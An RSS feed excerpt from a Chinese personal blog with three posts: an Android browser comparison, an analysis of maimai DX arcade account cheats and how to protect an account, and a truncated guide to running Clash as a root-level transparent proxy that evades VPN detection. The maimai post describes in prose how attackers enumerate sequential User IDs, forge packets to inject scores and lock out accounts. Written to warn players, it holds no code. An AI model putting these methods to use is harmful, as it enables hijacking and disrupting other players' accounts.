&lt;p&gt;国内的OEM浏览器就很...难评。高情商来讲就是「本地化适配非常好」。&lt;/p&gt;
&lt;p&gt;不管是&lt;code&gt;小米/华为/vivo/OPPO&lt;/code&gt;还是其他&lt;code&gt;国产OEM厂商&lt;/code&gt;基本都一个样：主页给您塞满新闻小说漫画短视频直播等功能，极其臃肿。&lt;/p&gt;
&lt;p&gt;其优点是开箱即用，符合国内用户习惯。&lt;/p&gt;
&lt;p&gt;缺点显而易见：隐私政策模糊、广告多、功能臃肿，内核也基本会比Chromium的build慢半截。有些厂商甚至还会往您的浏览器里塞黑名单和白名单，某些网站直接给您偷偷过滤掉不让访问，或者直接把您的浏览记录上传到服务器。&lt;/p&gt;
&lt;h3&gt;app内置浏览器&lt;/h3&gt;
&lt;p&gt;许多app都喜欢自己再额外套一个浏览器，这里就需要讲讲Android系统的&lt;code&gt;Webview&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Android Webview&lt;/strong&gt;：大多数App内置的浏览器功能都依赖于它。它不是一个您能直接打开的 App，而是一个系统组件。&lt;/p&gt;
&lt;p&gt;当您在应用里打开一个链接，调用的就是这个WebView。&lt;/p&gt;
&lt;h3&gt;国产浏览器&lt;/h3&gt;
&lt;p&gt;这类浏览器在国内拥有巨大的市场份额，比如QQ浏览器。它们大多基于Chromium/WebKit，但进行了大量魔改。比如：深度整合了下载、小说模式、网盘等功能，在一些特定场景比如看小说上体验较好。&lt;/p&gt;
&lt;p&gt;缺点非常明显：隐私。他们提供的并非单纯的浏览器体验。而且对现代Web标准的支持有时会落后于Chrome和Firefox。&lt;/p&gt;
&lt;h2&gt;两座越不过去的大山 Chrome vs. Edge&lt;/h2&gt;
&lt;h3&gt;Google Chrome&lt;/h3&gt;
&lt;p&gt;Google生态的集大成者，它的优势不仅在Android设备上的极佳Google生态上，几乎可以称得上目前最佳的浏览器，引擎最佳，兼容性广泛等优点使其成为市场占有率最高的浏览器。&lt;em&gt;Chongxi主要是因为Google自动填充服务才用的Chrome。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;缺点是资源占用较高，稍微吃性能。手机上的功能真的比较少。在隐私方面，需要对Google抱有足够的信任。&lt;/p&gt;
&lt;h3&gt;Microsoft Edge&lt;/h3&gt;
&lt;p&gt;Edge算是和Chrome同根了，使用的也是Chromium内核，继承了其极佳的渲染引擎。&lt;/p&gt;
&lt;p&gt;它的最大卖点在于与Windows PC的深度同步整合。如果您主要使用Windows电脑，那么Edge提供的手机PC同步体验丝毫不逊色于Chrome。&lt;/p&gt;
&lt;p&gt;我认为edge是给了不想被Google全家桶绑死的用户一个顶级的选择。&lt;/p&gt;
&lt;p&gt;缺点的话现在也非常明显，开始向国产流氓看齐了，塞了一堆诸如新闻资讯AI等无关紧要的内容进去，而且Microsoft审美真的很差，相比Chrome真的难看很多。&lt;/p&gt;
&lt;h2&gt;别具特色的第三选择&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Beyond the giants, there&apos;s a world of innovation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Mozilla Firefox&lt;/h3&gt;
&lt;p&gt;Android上主流的使用自有引擎&lt;code&gt;GeckoView&lt;/code&gt;的浏览器。&lt;/p&gt;
&lt;p&gt;优点非常突出：强大的浏览器扩展、严格的跟踪保护、容器标签页&lt;code&gt;隔离工作、个人等不同身份的登录状态，防止跨站跟踪&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;如果您比较注重隐私，Firefox绝对是不二之选。&lt;/p&gt;
&lt;h3&gt;Vivaldi Browser&lt;/h3&gt;
&lt;p&gt;由前Opera团队打造，并继承了&lt;code&gt;高度可定制&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;Chongxi用了一段时间，感觉还是比较不错的，支持Google自动填充，和Chrome操作逻辑非常接近，使得我从Chrome切换过来毫无成本。&lt;/p&gt;
&lt;h3&gt;Brave Browser&lt;/h3&gt;
&lt;p&gt;Brave 默认屏蔽所有广告和跟踪器，速度极快。&lt;/p&gt;
&lt;p&gt;不过其争议性在于它试图用&lt;code&gt;注意力经济&lt;/code&gt;模型来重塑网站盈利方式。无论您是否认同其模式，它的隐私保护和速度都值得一试。&lt;/p&gt;
&lt;h3&gt;Kiwi Browser&lt;/h3&gt;
&lt;p&gt;最早实现了在Android上支持&lt;code&gt;桌面版Chrome扩展&lt;/code&gt;。但是目前疑似有点死了。&lt;/p&gt;
&lt;h3&gt;DuckDuckGo&lt;/h3&gt;
&lt;p&gt;&lt;s&gt;鸭子鸭子跑&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;如其搜索引擎一样，它的浏览器应用也极度注重隐私，每日自动清除浏览数据，还有一键烧毁按钮，一次性干掉所有记录，也提供应用跟踪保护等功能，体验非常轻快简洁。&lt;/p&gt;
&lt;h3&gt;via&lt;/h3&gt;
&lt;p&gt;via是一个&lt;code&gt;纯粹&lt;/code&gt;的浏览器，回归浏览网页的本源。&lt;/p&gt;
&lt;p&gt;它直接调用Android系统自带的&lt;code&gt;WebView&lt;/code&gt;内核来渲染网页。这意味着它不需要打包一个巨大的内核引擎，从而实现了安装包体积的极致控制。&lt;/p&gt;
&lt;p&gt;可玩性也比较高，用户脚本/自定义等功能都非常好用，作为一个纯粹的浏览器，他极其出色。&lt;/p&gt;
&lt;h3&gt;Tor&lt;/h3&gt;
&lt;p&gt;这是一个比较特殊的浏览器。他的设计目标非常纯粹，尽最大可能隐藏您的网络身份和活动。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;您的流量不再直接到达目标网站，而是进入&lt;code&gt;Tor 网络&lt;/code&gt;。在这个网络里，您的流量会被自动加密三次，并通过至少三个随机选择的中继节点进行传输，最终才从&lt;code&gt;出口节点&lt;/code&gt;到达目的地网站。这意味着目标网站只能看到出口节点的IP地址，而非您的真实IP。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其主要功能是访问以&lt;code&gt;.onion&lt;/code&gt;为后缀的隐形服务。也就是&lt;code&gt;暗网&lt;/code&gt;。日常使用很不便利，因为流量需要多次中转，速度缓慢。&lt;/p&gt;
&lt;h2&gt;自动填充&lt;/h2&gt;
&lt;p&gt;这是一个体验分水岭。Chrome和Edge的自动填充无疑是最无缝的，这避免了手输密码的烦恼，体验极佳。&lt;/p&gt;
&lt;p&gt;对于其他浏览器，我强烈建议使用独立的密码管理器&lt;code&gt;如Bitwarden/1Password&lt;/code&gt;。它们以 App 扩展的形式，可以为几乎所有浏览器提供强大且统一的自动填充服务，让您不再被浏览器本身绑定。&lt;/p&gt;
&lt;h2&gt;关于我&lt;/h2&gt;
&lt;p&gt;主力依旧使用Chrome，因为被Google绑死了。&lt;/p&gt;
&lt;p&gt;浏览器的选择非常看重个人习惯，不妨多试几款。&lt;/p&gt;
</content:encoded><category>杂谈</category><author>Chongxi</author></item><item><title>关于舞萌科技的杂谈以及原理分析</title><link>https://xice.cx/posts/toolsForMaimai/</link><guid isPermaLink="true">https://xice.cx/posts/toolsForMaimai/</guid><description>本文讲解了关于舞萌DX科技的相关内容，以及最近闹的沸沸扬扬的发票</description><pubDate>Wed, 27 Aug 2025 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0.引&lt;/h2&gt;
&lt;p&gt;:::yellow[注意]
本文中提到的&lt;code&gt;舞萌DX&lt;/code&gt;均为&lt;code&gt;华立科技&lt;/code&gt;在中国大陆的代理版本&lt;/p&gt;
&lt;p&gt;本文原为:杂谈mai科技相关知识以及第三方工具使用指南，现拆分为多篇文章以区分层次&lt;/p&gt;
&lt;p&gt;本文仅作为maimai深层次的相关研究，仅供学习参考交流使用，主要目的是向广大舞萌玩家科普基本常识，教各位如何保护自己的Net账号，并演示你的账号是如何被挂哥毁掉的。本文不支持任何开挂作弊行为。&lt;/p&gt;
&lt;p&gt;在此感谢每一位在GitHub等平台公开科技的各路神仙
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 基本概念&lt;/h2&gt;
&lt;h3&gt;1.1 SGWCMAID&lt;/h3&gt;
&lt;p&gt;在登录&lt;code&gt;舞萌DX机台&lt;/code&gt;时，需要通过「舞萌 | 中二」公众号获取二维码。长按二维码解析后的字符串即为&lt;code&gt;SGWCMAID&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;:::red[严重警告]
&lt;strong&gt;绝对不要&lt;/strong&gt;在任何公开场合泄露您的SGWCMAID&lt;/p&gt;
&lt;p&gt;请&lt;strong&gt;仅&lt;/strong&gt;向您&lt;strong&gt;信任&lt;/strong&gt;的人员或服务提供SGWCMAID。&lt;/p&gt;
&lt;p&gt;如果他人获取了您的&lt;code&gt;SGWCMAID&lt;/code&gt;，则意味着对方拥有您的舞萌账号操作权限，可在有效登录时效期内登入您的账号。
:::&lt;/p&gt;
&lt;h3&gt;1.2 登录时效&lt;/h3&gt;
&lt;p&gt;SGWCMAID 的页面底部会显示二维码的有效期提示。过期后，二维码无法再用于机台登录，需生成新的二维码。&lt;/p&gt;
&lt;p&gt;二维码有效期：约 10 分钟&lt;/p&gt;
&lt;p&gt;账号登录时效：约 30 分钟 (2025/08/27测定)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;当距离上一次二维码获取已超过约 30 分钟时，账号会进入「冻结」状态，任何方式均无法登录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;该状态会在生成新的二维码后解除&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;这是对账号的一道保护机制，防止攻击者滥用&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.3 User ID&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;User ID&lt;/code&gt; 并不是好友代码，而是&lt;s&gt;舞萌国身份证&lt;/s&gt; 账号标识，与&lt;code&gt;SGWCMAID&lt;/code&gt;关联&lt;/p&gt;
&lt;p&gt;通过&lt;code&gt;SGWCMAID&lt;/code&gt;可以获取对应的&lt;code&gt;User ID&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;拥有&lt;code&gt;User ID&lt;/code&gt;的同时，也意味着拥有操作该账号的权限，可用于登录或&lt;s&gt;对你账号进行G键开挂&lt;/s&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;舞萌DX的&lt;code&gt;User ID&lt;/code&gt;为顺序计数，开头固定&lt;/li&gt;
&lt;li&gt;所以User ID可被用作遍历攻击，这就说明了挂哥是如何给你的账号开挂的，&lt;strong&gt;他们通过遍历User ID来登入你的账号，如果你的账号恰好在登录时效内且处于未登录状态，那么&lt;s&gt;你就倒霉了&lt;/s&gt;，所以说，登录时效是华立最后的底裤，如果没了，任何人的账号都可以随时被登录&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.4 小黑屋&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;舞萌服务器规定的登录会话超时为&lt;code&gt;15分钟&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;登录时必须使用生成时的&lt;code&gt;时间戳&lt;/code&gt;，登出也必须使用对应的&lt;code&gt;时间戳&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;如果没有正常&lt;code&gt;登出&lt;/code&gt;（如因服务器丢包、高延迟或异常宕机），账号就会进入我们所说的小黑屋，只能等会话超时自动过期/用科技解除&lt;/li&gt;
&lt;li&gt;这是服务器防止会话滥用的一种保护机制&lt;/li&gt;
&lt;li&gt;但是由于舞萌服务器延迟较高，实际小黑屋持续时间可能会大于15分钟&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::cyan&lt;/p&gt;
&lt;h4&gt;1.4.1 格式约定&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;SGWCMAID&lt;/code&gt;由三部分组成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SGWCMAID + 16位时间戳(格式 YYMMDDHHMMSS) + 64字符校验签名
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;时间戳用于限制二维码有效期&lt;/li&gt;
&lt;li&gt;64字符部分为不可逆的校验/签名或加密片段&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;1.4.2 服务器验证流程（已抹去部分关键信息）&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;本地验证&lt;code&gt;SGWCMAID&lt;/code&gt;是否合法&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;机台或客户端将扫码得到的&lt;code&gt;SGWCMAID&lt;/code&gt;发送到服务器的二维码验证接口&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;服务器解析SGWCMAID：&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;校验时间戳是否在允许的有效期内&lt;/li&gt;
&lt;li&gt;验证字符校验段是否合法&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;验证通过后，服务器返回&lt;code&gt;userID&lt;/code&gt;以及其他可能的附带信息；否则返回错误码并拒绝登录&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;1.4.3 session与时效&lt;/h4&gt;
&lt;p&gt;成功验证后服务器通常会把该次登录转换为短期会话&lt;code&gt;session&lt;/code&gt;，该会话的有效期约为30分钟(2025/08/27测定)&lt;/p&gt;
&lt;p&gt;会话到期或被显式登出后，需再次使用新的&lt;code&gt;SGWCMAID&lt;/code&gt;登录&lt;/p&gt;
&lt;p&gt;若超过会话有效期且没有新二维码获取，账号会被置为「冻结」状态，需要获取二维码以解除&lt;/p&gt;
&lt;h4&gt;1.4.4 为什么不能泄露&lt;/h4&gt;
&lt;p&gt;SGWCMAID 本质上是一次性登录凭证：&lt;strong&gt;持有者在有效期内可被服务器识别并取得对应 userID，从而获得账号操作权限&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;字符校验虽不可逆，但若泄露仍可直接被服务器接纳（只要时间戳未过期），所以必须严格保密&lt;/p&gt;
&lt;h4&gt;1.4.5 击碎你的幻想&lt;/h4&gt;
&lt;p&gt;SGWCMAID 的构成与服务器端验证是不可逆且受时效限制的，因此不能从本地仅靠解码可靠地&lt;strong&gt;推算&lt;/strong&gt;出 userID（必须由服务器返回）&lt;/p&gt;
&lt;p&gt;&lt;em&gt;至少目前确实是这样&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;同一条&lt;code&gt;SGWCMAID&lt;/code&gt;在其有效期内可被服务器直接接受，除非获取新的二维码/二维码到期，如果有人比你抢先一步使用此泄漏的&lt;code&gt;SGWCMAID&lt;/code&gt;获取到了User ID，那只能祝你好运了。
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 科技&lt;/h2&gt;
&lt;p&gt;舞萌的科技多种多样，严格意义上，&lt;code&gt;HDD&lt;/code&gt;,&lt;code&gt;Bot&lt;/code&gt;,&lt;code&gt;查分器&lt;/code&gt;,&lt;code&gt;开挂&lt;/code&gt;等都算科技，因为他们都或多或少直接使用&lt;strong&gt;非正规渠道&lt;/strong&gt;获取了服务器信息/程序本体，只是影响好坏的问题&lt;/p&gt;
&lt;p&gt;我们先着重讲&lt;code&gt;外挂&lt;/code&gt;，这是每个maimai玩家都该担忧的问题&lt;/p&gt;
&lt;h3&gt;2.1 外挂&lt;/h3&gt;
&lt;p&gt;目前我们所熟知的外挂有以下作用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;传分&lt;/strong&gt; &lt;em&gt;往账号中写入指定的乐曲成绩&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;下埋&lt;/strong&gt; &lt;em&gt;批量写入(指定难度/版本等)成绩&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;发票&lt;/strong&gt; &lt;em&gt;向您的账号中发放「补偿」的2/3/4/5/6倍进度票&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解歌&lt;/strong&gt; &lt;em&gt;解锁被锁定的乐曲(比如紫谱难度)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解图&lt;/strong&gt; &lt;em&gt;解锁地图(如月面区域)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跑图&lt;/strong&gt; &lt;em&gt;顾名思义&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;签到&lt;/strong&gt; &lt;em&gt;签到集章卡&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解锁收藏品&lt;/strong&gt; &lt;em&gt;包括但不限于 姓名框/称号/头像/搭档/背景板/功能票&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修改舞里程&lt;/strong&gt; &lt;em&gt;DX2025更新的舞里程商店，可用里程购买功能票等道具&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::cyan&lt;/p&gt;
&lt;h4&gt;2.1.1 概览&lt;/h4&gt;
&lt;p&gt;本质是：&lt;strong&gt;在有效的会话中，直接向服务端写入用户的成绩或收藏品等&lt;/strong&gt;，这并不是正常游玩流程&lt;/p&gt;
&lt;p&gt;拿最常见的传分举例：&lt;br /&gt;
一般作弊者会构造并向服务器&lt;code&gt;发包&lt;/code&gt;，于&lt;code&gt;数据包&lt;/code&gt;中设置目标字段（如 &lt;code&gt;musicId&lt;/code&gt;,&lt;code&gt;level&lt;/code&gt;,&lt;code&gt;achievement&lt;/code&gt; 等）来插入或替换成绩&lt;/p&gt;
&lt;p&gt;还有就是小黑屋扫号：
遍历扫号指攻击者通过预测或顺序试探 &lt;code&gt;User ID&lt;/code&gt;，配合可被接受的临时凭证或薄弱的登录路径，在大量账号中快速尝试登录的行为&lt;/p&gt;
&lt;p&gt;如果某个被测试的账号恰好处于&lt;strong&gt;有效登录时效内&lt;/strong&gt;，攻击者就能直接取得该账号的会话并登入，然后不主动执行&lt;code&gt;logout&lt;/code&gt;操作，这就会使该玩家无法正常游玩，更高级的攻击者还会&lt;code&gt;自动续关&lt;/code&gt;，使该帐号锁定不止十五分钟，严重可能以小时为单位&lt;/p&gt;
&lt;p&gt;舞萌国「社工库」
目前已有攻击者可以通过您的&lt;code&gt;rating&lt;/code&gt;，&lt;code&gt;头像&lt;/code&gt;，&lt;code&gt;姓名框&lt;/code&gt;，&lt;code&gt;背景板&lt;/code&gt;，&lt;code&gt;昵称&lt;/code&gt;等信息，以查询&lt;code&gt;账号数据库&lt;/code&gt;的方式反推出您的User ID并将您的信息建档成库，部分攻击者已在某鱼等平台出售相应服务
:::&lt;/p&gt;
&lt;p&gt;:::blue[如何保护自己的账号]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;不在不信任的公开场合发送您的二维码/SGWCMAID&lt;/li&gt;
&lt;li&gt;不在非出勤时间随意获取二维码&lt;/li&gt;
&lt;li&gt;发b50尽可能隐藏掉昵称等不必要信息
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2 HDD/app&lt;/h3&gt;
&lt;p&gt;舞萌DX机台运行的游戏程序本体，&lt;code&gt;app&lt;/code&gt;是官方机台运行的游戏程序，&lt;code&gt;HDD&lt;/code&gt;一般用于在手台等非官方机台上运行，可能还会带有部分mod功能，比如&lt;code&gt;Auto Play&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;此部分带来的法律风险由用户自己承担&lt;/p&gt;
&lt;h3&gt;2.3 opt&lt;/h3&gt;
&lt;p&gt;服务器向机台下发的更新会以&lt;code&gt;.opt&lt;/code&gt;形式呈现，其中包含此次下发的更新内容，例如&lt;code&gt;乐曲数据&lt;/code&gt;等信息&lt;/p&gt;
&lt;p&gt;&lt;code&gt;下发时间&lt;/code&gt; opt下发并通知机台下载此更新的时间&lt;br /&gt;
&lt;code&gt;发布时间&lt;/code&gt; 机台应用本次更新的时间&lt;/p&gt;
&lt;p&gt;机台即使下载好了opt也不会立刻更新，需要满足发布时间才会更新&lt;/p&gt;
&lt;p&gt;:::details[cyan::关于国服2025部分杂谈]
在DX2025更新首日，相信各位也看到了Net公众号上的&lt;code&gt;KALEID×SCOPE&lt;/code&gt;万花镜提前泄漏的情况，原因是&lt;code&gt;*2372462&lt;/code&gt;的作弊者上传了四个门的数据，而服务端没有及时堵门，导致了此情况的发生&lt;/p&gt;
&lt;p&gt;热知识：
DX2025的机台程序包含到了至Prism的部分数据，比如收藏品以及万花镜模式的相关代码，不过没有乐曲数据，只是单纯要按照SEGA的更新日程逐步开放，如果你有能力给机台下发乐曲数据的opt是可以提前游玩的，这也解释了之前流传的国服宙天等内容是如何实现的
:::&lt;/p&gt;
&lt;h3&gt;2.4 第三方服务器&lt;/h3&gt;
&lt;p&gt;目前根据笔者已知有以下第三方服务器：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;转发服务器：作中转用途，作为中间人代理以加速华立服务器的加载速度&lt;/li&gt;
&lt;li&gt;纯粹的私服&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.5 第三方查分器/bot&lt;/h3&gt;
&lt;p&gt;主要用途是帮助玩家了解自己的Best50等游玩成绩，目前主流查分器有&lt;code&gt;落雪查分器&lt;/code&gt;与&lt;code&gt;水鱼查分器&lt;/code&gt;,bot的话太多难以统计，主要也是此用途&lt;/p&gt;
&lt;h3&gt;2.6 手台&lt;/h3&gt;
&lt;p&gt;玩家第三方自制、高度模拟官方机台的机器&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 备注&lt;/h2&gt;
&lt;p&gt;关于第三方查分器使用已迁移到新的文章分篇，后续会补&lt;/p&gt;
&lt;p&gt;关于挂哥扫号实例请看本博客下的此文章: &lt;a href=&quot;/2025/09/07/maiLog20250906/&quot;&gt;mai纪事:9月大规模科技扫号和国服万花筒事件&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><author>Chongxi</author></item><item><title>在Android设备上以系统级运行Clash</title><link>https://xice.cx/posts/boxForMagisk/</link><guid isPermaLink="true">https://xice.cx/posts/boxForMagisk/</guid><description>用root权限将Clash运行在系统层面，使用透明代理来绕过VPN检测</description><pubDate>Tue, 26 Aug 2025 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;免责声明&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;caution&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;本文内容仅限技术研究学习目的，旨在帮助开发者等深入了解网络代理，流量路由等运作机制。任何不当使用造成的后果均与本文作者无关。严禁用于商业用途。&lt;/p&gt;
&lt;p&gt;您必须确保所有操作均遵守您所在国家/地区的法律法规。本文坚决反对并谴责任何使用网络代理技术绕过正当网络管控、访问非法内容或从事任何非法活动的行为。&lt;/p&gt;
&lt;p&gt;本文涉及到的操作需要修改Android系统底层，具有潜在风险（如设备变砖，数据丢失，系统不稳定等）。所有操作均基于您自愿选择并自行承担全部风险。本文作者不对任何因遵循本文步骤导致的设备问题或法律纠纷负责。&lt;/p&gt;
&lt;p&gt;本文面向具备足够知识背景和风险认知的用户，尝试前请确保您已了解关于root等基本概念。如果您不知道您在做什么，请自觉停止操作。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;INTRO&lt;/h2&gt;
&lt;p&gt;在开始之前，我们简单对比一下常规代理与&lt;code&gt;box4magisk&lt;/code&gt;。
&lt;a href=&quot;https://github.com/CHIZI-0618/box4magisk&quot;&gt;CHIZI-0618/box4magisk&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;CLASH FOR ANDROID&lt;/h3&gt;
&lt;p&gt;以最常见的&lt;code&gt;Clash for Android&lt;/code&gt;为例，他通常通过调用Android系统提供的&lt;code&gt;VPN Service API&lt;/code&gt;工作。&lt;/p&gt;
&lt;p&gt;当您在CFA（Clash For Android）中启动代理时，应用会向系统申请创建一个虚拟VPN接口，此时会要求用户授权。随后Android会将设备上几乎所有应用程序的流量都重定向到此接口。&lt;/p&gt;
&lt;p&gt;CFA本质上其实是个壳，用于更方便与用户交互，本质其实是Clash核心在处理流量。&lt;/p&gt;
&lt;p&gt;Clash内核会根据您配置的规则来检查所有经过的流量，根据规则匹配结果，决定该流量走向。&lt;/p&gt;
&lt;h3&gt;BOX4MAGISK&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;box4magisk&lt;/code&gt;借助magisk/kernelSU/APatch将clash部署在&lt;code&gt;data/adb/&lt;/code&gt;，使其深度集成在Android系统的网络栈，实现了更高权限的流量接管。&lt;/p&gt;
&lt;p&gt;由于他不依赖&lt;code&gt;VPN Service API&lt;/code&gt;，因此完全不占用VPN槽位，通过透明代理，使其能绕过大多数检测。&lt;/p&gt;
&lt;h2&gt;PRINCIPLE&lt;/h2&gt;
&lt;h3&gt;TRANSPARENT PROXY&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;Transparent Proxy&lt;/code&gt;，也就是透明代理。简单来讲，就是让应用程序无法检测其存在，让应用认为他在直接连接互联网。其劫持实现主要如下&lt;/p&gt;
&lt;h3&gt;TUN&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;TUN&lt;/code&gt;设备是软件实现的虚拟网络设备。他不像&lt;code&gt;eth0&lt;/code&gt;或&lt;code&gt;wlan0&lt;/code&gt;那样是真实的硬件。他就像一个虚拟的网线接口，一端插在系统的&lt;code&gt;网络栈&lt;/code&gt;，一端插在Clash核心。&lt;/p&gt;
&lt;p&gt;其工作原理主要为：&lt;/p&gt;
&lt;p&gt;系统根据&lt;code&gt;iptables&lt;/code&gt;规则，把所有需要被代理的网络流量发送到&lt;code&gt;TUN&lt;/code&gt;设备。Clash内核则从另一端读取这些原始数据包进行处理，随后经过&lt;code&gt;TUN&lt;/code&gt;回到系统内核，并出口到目的地。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TUN设备在网络层工作，处理&lt;code&gt;IP数据包&lt;/code&gt;使其能够接管所有基于IP的流量。&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;TUN2SOCKS&lt;/h3&gt;
&lt;p&gt;众所周知，Clash一般监听在SOCKS5/HTTP端口，守听的是预期符合代理协议的数据。但TUN里给出的数据则是原始网络数据包，压根不是一回事。&lt;/p&gt;
&lt;p&gt;而&lt;code&gt;TUN2SOCKS&lt;/code&gt;作为其中的桥梁，达到了翻译的效果。他负责读取TUN来的原始数据包，以客户端身份将其打包为标准的SOCKS5协议格式，并将其发送给Clash内核，这样Clash就可以正常处理这些流量了。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对于Clash来说，它只是为叫做&lt;code&gt;tun2socks&lt;/code&gt;的本地客户的提供代理服务，并不知道其接管的流量来自系统全局。&lt;/li&gt;
&lt;li&gt;对于应用程序来说，它以为自己是直接连接到互联网，并不知道自己的流量被TUN劫持并转译。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;IPTABLES&lt;/h3&gt;
&lt;p&gt;系统流量默认可不会自己跑进TUN，在Box4magisk中，使用到了&lt;code&gt;iptables&lt;/code&gt;让流量走向TUN。&lt;/p&gt;
&lt;p&gt;我们先来了解下&lt;code&gt;iptables&lt;/code&gt;，这是Linux系统内置的数据包过滤和操作工具，不过在这里，他的核心作用不是防火墙，而是对流量进行路由。&lt;/p&gt;
&lt;p&gt;Box4magisk在启动时，会添加一系列规则达到&lt;code&gt;REDIRECT&lt;/code&gt;或&lt;code&gt;TProxy&lt;/code&gt;到TUN设备的目的。&lt;/p&gt;
&lt;h3&gt;接下来我们会举一个例子，来更好理解他们协同工作时的流量走向&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;app试图连接&lt;code&gt;xice.cx:443&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;iptables&lt;/code&gt;立即截获此TCP请求，根据规则，将流量引至TUN设备&lt;/li&gt;
&lt;li&gt;TUN会将流量引至&lt;code&gt;tun0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tun2socks&lt;/code&gt;会从&lt;code&gt;tun0&lt;/code&gt;中读取到这个原始TCP请求，并将其打包为&lt;code&gt;SOCKS5&lt;/code&gt;协议的&lt;code&gt;CONNET blog.chongxo.us 443&lt;/code&gt;发给localhost的Clash端口。&lt;/li&gt;
&lt;li&gt;Clash接收到该请求后，根据代理规则进行出口。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;从远程服务器返回的数据则会以以上方式反向走一遍。&lt;/p&gt;
&lt;h2&gt;PREREQUISITES&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;一台已获取 Root 权限的 Android 设备&lt;/li&gt;
&lt;li&gt;获取Magisk模块文件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这里我们使用&lt;code&gt;Surfing&lt;/code&gt;作为演示，这是fork自&lt;code&gt;box4magisk&lt;/code&gt;的项目，有集成式一体服务、即刷即用的特色。&lt;/p&gt;
&lt;p&gt;您也可以选择原始的&lt;code&gt;box4magisk&lt;/code&gt;进行配置，后续Chongxi会考虑写关于这个的blog。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/GitMetaio/Surfing&quot;&gt;GitMetaio/Surfing&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;LET&apos;S GO&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;在Magisk安装Surfing，此时您无重启设备的必要。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/data/adb/box_bll/clash/config.yaml&lt;/code&gt;中，您可以添加您的&lt;code&gt;远程代理配置URL&lt;/code&gt;。
&lt;img src=&quot;./boxForMagisk/20250826-1.jpg&quot; alt=&quot;20250826-1.jpg&quot; /&gt;
您也可以根据里面的注释自行修改配置，修改后重启您的设备。&lt;/li&gt;
